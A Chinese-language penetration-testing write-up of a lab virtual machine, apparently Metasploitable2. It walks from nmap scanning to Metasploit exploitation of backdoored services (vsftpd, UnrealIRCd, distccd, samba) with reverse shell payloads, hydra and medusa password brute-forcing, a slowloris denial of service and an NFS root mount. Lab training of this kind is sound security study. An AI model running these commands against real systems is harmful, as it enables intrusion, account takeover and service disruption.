信息收集阶段
由于是Vmware中的靶机,所以不做真实IP、旁站、C段、WAF等信息的收集
端口收集:
nmap -sS -sV 靶机IP
获得开放的服务信息:
统计阶段
- VSFTPD 2.3.4(笑脸漏洞)
- SSH登录爆破
- Telnet爆破
- http-CGI/FastCGI
- HTTP-DDOS拒绝服务攻击
- SMB任意命令执行
- exec账密爆破
- java-rmi反序列化
- ingreslock后门
- nfs文件共享漏洞
- ftp弱口令
- MySQL弱口令
- distccd任意命令执行
- Postgresql弱口令
- vnc弱口令
- UnrealIRCd漏洞
- tomcat弱口令
利用阶段
VSFTPD 2.3.4
利用方式:
- metasploit模块利用
- 笑脸:)利用(需要目标机器开启6200端口)
- ftp爆破
使用metasploit中的利用模块
msfconsole:进入metasploit
search vsftpd:搜索利用模块
use exploit/unix/ftp/vsftpd_234_backdoor:使用模块
options:查看需要配置的参数
set rhost 192.168.137.170:设置目标IP
run:开始运行
成功拿到shell
SSH爆破
利用方式:
- metasploit模块利用
- ssh爆破
ssh爆破
使用Medusa美杜莎工具爆破该靶机的SSH账密
medusa -M ssh -h 192.168.137.170 -U user.txt -p pass.txt -f -t 5
使用metasploit中的利用模块
msfconsole:进入metaspolit
search ssh_login:搜索利用模块
use auxiliary/scanner/ssh/ssh_login:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
set user_file 用户名字典路径
set pass_file 密码的字典路径
set threads 10:设置线程数量
run:运行
Telnet爆破
利用方式:
- metasploit模块利用
测试的Hydra和Medusa都无法爆破Telnet,如果是利用错误或者有其他的利用方式希望各位师傅可以为我指出,谢谢啦!
使用metasploit中的利用模块
msfconsole:进入metaspolit
search telnet_login:搜索利用模块
use scanner/telnet/telnet_login:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
set user_file 用户名字典路径
set pass_file 密码的字典路径
set threads 10:设置线程数量
run:运行
CGI/FastCGI
首先了解什么是CGI:
我是从这里了解到有关于CGI知识的
CGI是一个通用网关接口,用于Web服务器与外部应用程序(CGI程序)之间传递信息的接口标准。
当客户端向Web服务器发起一次请求的时候:
如果请求的是静态文件,例如html文件。不调用CGI,也就是不发起CGI请求。Web服务器会直接返回该文件的内容。
如果请求的是动态脚本,例如php文件。调用CGI,发起一次CGI请求。Web服务器会启动对应的CGI程序,将数据进行简单的处理之后交给PGP解释器。
CGI程序会解析请求中的URL,查询字符串(在?之后的参数,每对参数根据键值对来划分,每对参数使用&来分隔),POST数据和HTTP头部的信息,并且根据这些信息生成动态的响应内容。CGI程序会按照CGI协议规定的格式将结果返回给Web服务器,然后Web服务器将结果返回给客户端。
在处理完一个请求之后,CGI程序会退出,如果下次有新的CGI请求,Web服务器会再次启动一个新的CGI进程来处理。
而需要注意的是,随着科技的进步技术的发展,出现了更高效的替代方案,例如FastCGI,WSGI等,他们可以有效的避免每次请求都启动新的进程,提高性能和效率。
什么是FastCGI:
FastCGI是CGI的改进版本,用来改善CGI的性能问题。
而两者的区别为:
CGI:当每次请求到达的时候都会启动一个CGI进程来执行相对应的CGI程序并且处理请求返回结果。而用完之后会销毁这个CGI进程。频繁的创建和销毁CGI进程会对服务器性能有较大的损耗。
FastCGI:FastCGI在Web中引用了一个进程管理器,它会启动一组长时间运行的FastCGI进程。这些FastCGI进程会一直保持运行状态,当每次有请求到达的时候,Web会将请求发给空闲的FastCGI进程,而不需要重新创建进程。避免了频繁的创建和销毁进程,提高了性能和效率。
使用目录扫描成功发现文件:phpinfo.php
通过访问得知当前的 Server API是CGI/FastCGI
而该方式在PHP中可能存在CGI参数注入等问题。
CGI 参数注入可能发生的原因主要包括以下情况:
-
未正确过滤用户输入:如果 CGI 程序在接收到参数后未对用户输入进行适当的验证和过滤,攻击者可能利用特殊字符或字符串注入恶意代码,从而执行未经授权的操作。
-
命令注入:当 CGI 程序在执行系统命令时,如果未正确地对参数进行转义或验证,攻击者可能通过注入恶意命令来执行任意命令。
-
SQL 注入:如果 CGI 程序在与数据库交互时,未对参数进行参数化查询或预编译语句处理,攻击者可能通过注入恶意 SQL 语句来访问或篡改数据库中的数据。
-
文件路径注入:在文件操作中,如果 CGI 程序未正确验证和处理文件路径参数,攻击者可能注入特殊路径来访问敏感文件或执行恶意操作。
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasplot
search php_cgi:搜索利用模块
use exploit/multi/http/php_cgi_arg_injection:使用模块
options:查看需要配置的参数
set rhost 192.168.137.170:设置目标机IP
run:运行
DDOS拒绝服务攻击
通过db_nmap
漏洞扫描得知存在一个CVE漏洞,并且通过查询得知,该CVE是一个DDOS攻击。
db_nmap --script=vuln -p 80 -T4 192.168.137.170
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit
search slowloris:搜索利用模块
use auxiliary/dos/http/slowloris:使用模块
options:查看需要配置的参数
set rhost 192.168.137.170:设计目标机IP
run:运行
SMB任意命令执行
139与445分别为:NetBIOS协议和SMB协议,都涉及文件共享和通信。
但是NetBIOS是早期用于文件共享和通信的协议。由于安全性和设计限制等问题,逐渐被SMB取代。
也可以理解为SMB协议是NetBIOS的平替或者升级版。
由于139和445都属于SMB服务类型,所以两者可能存在相同的漏洞,这点可以在nmap扫描中获得关键信息。
利用方式:
- metasploit模块利用
使用metasplooit中的利用模块
msfconsole:进入metasploit
search samba:搜索利用模块
use exploit/multi/samba/usermap_script:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
run:运行
exec账密爆破
有的师傅说该服务可以使用hydra进行爆破
我使用的命令为:hydra -L username.txt -P password.txt rexec
没有爆破成功
如果是使用错误希望各位师傅指出
java-rmi反序列化
使用db_nmap
扫描该端口
db_nmap --script=vuln -p 1099 192.168.137.170
提示该端口的状态为脆弱
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit
search java_rmi:搜索利用模块
use exploit/multi/misc/java_rmi_server:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
run:运行
ingreslock后门
使用db_nmap
扫描该端口
db_nmap --script=vuln -p 1524 192.168.137.170
显示当前端口服务名为ingreslock
而ingreslock
是一个早期的数据库管理系统漏洞,它可能导致很严重的安全问题
利用方式:
- Telnet连接
使用Telnet连接
telnet 192.168.137.170 1524
nfs文件共享漏洞
使用命令查看文件共享情况:showmount -e 192.168.137.170
所有文件共享
利用方式:
- mount进行共享
开始利用
mkdir /temp/:在攻击机的根目录创建temp文件夹
mount -t 192.168.137.170:/ ./temp -o nolock:将temp与目标机共享
cd /temp:进入共享文件夹
ll:查看所有文件以及目录
ftp弱口令
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit
search ftp_login:搜索利用模块
use scanner/ftp/ftp_login:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
set rport 2121:设置目标机端口(由于该ftp服务开启的为2121端口,所以需要修改端口)
set userpass_file /usr/local/my-files/pass-notebook/123.txt(值得一提的是,账密格式为)
USERNAME1 PASSWORD1
USERNAME2 PASSWORD2
USERNAME3 PASSWORD3
… …
run:运行
MySQL弱口令
利用方式
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit
search mysql:搜索利用模块
use scanner/mysql/mysql_login:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
run:运行
没有密码,输入root可以直接登录
Distccd任意命令执行
使用db_nmap
扫描该端口
db_nmap --script=vuln -p 3632 192.168.137.170
提示当前端口存在一个CVE漏洞。
漏洞编号:cve-2004-2687
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit
search distcc:搜索利用模块
use exploit/unix/misc/distcc_exec:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
set payload cmd/unix/reverse:设置攻击载荷
run:运行
Postgresql弱口令
利用方式:
- metasploit模块利用
- Hydra爆破
使用metasploit中的利用模块
msfconsole:进入metasploit
search postgres:搜索利用模块
use scanner/postgres/postgres_login:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
run:运行(自带账号密码本,所以不需要额外设置)
Hydra爆破
使用命令:hydra -L 用户名字典 -P 密码字典 192.168.137.170 postgres -s 5432 -t 8
vnc弱口令
利用方式:
- metasploit模块利用
- Medusa爆破
使用metasploit中的利用模块
msfconsole:进入metasploit
search vnc_login:搜索利用模块
use scanner/vnc/vnc_login:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
run:运行(自带账号密码本,所以不需要额外设置)
Medusa爆破
使用命令:medusa -h 192.168.137.170 -u "" -P pass.txt -M vnc -t 4
UnrealIRCd漏洞
UnrealIRCd 曾经存在严重的安全漏洞,可能导致远程代码执行和获取系统访问权限。
其中,最知名的是 UnrealIRCd 3.2.8.1 版本的“幽灵漏洞”(Ghost Vulnerability),也被编号为CVE-2010-2075
。这个漏洞允许攻击者通过特定的恶意请求在目标服务器上执行任意代码,从而获得服务器的控制权。该漏洞曾广泛被利用。
利用方式:
- metasploit模块利用
使用metasploit中的利用模块
msfconsole:进入metasploit
search ircd:搜索利用模块
use exploit/unix/irc/unreal_ircd_3281_backdoor:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
set lhost 192.168.137.130:设置攻击机IP
set payload cmd/unix/reverse:设置攻击载荷
run:运行
tomcat弱口令
利用方式:
- metasploit模块利用
- Hydra爆破
使用metasploit中的利用模块
msfconsole:进入metasploit
search tomcat:搜索利用模块
use auxiliary/scanner/http/tomcat_mgr_login:使用模块
options:查看需要配置的参数
set rhosts 192.168.137.170:设置目标机IP
set rport 8180:设置端口(因为不是默认的8080,所以需要设置8180)
run:运行(自带账号密码本,所以不需要额外设置)
Hydra爆破
使用命令:hydra -L user.txt -P pass.txt 192.168.137.170 -s 8180 http-get /manager/html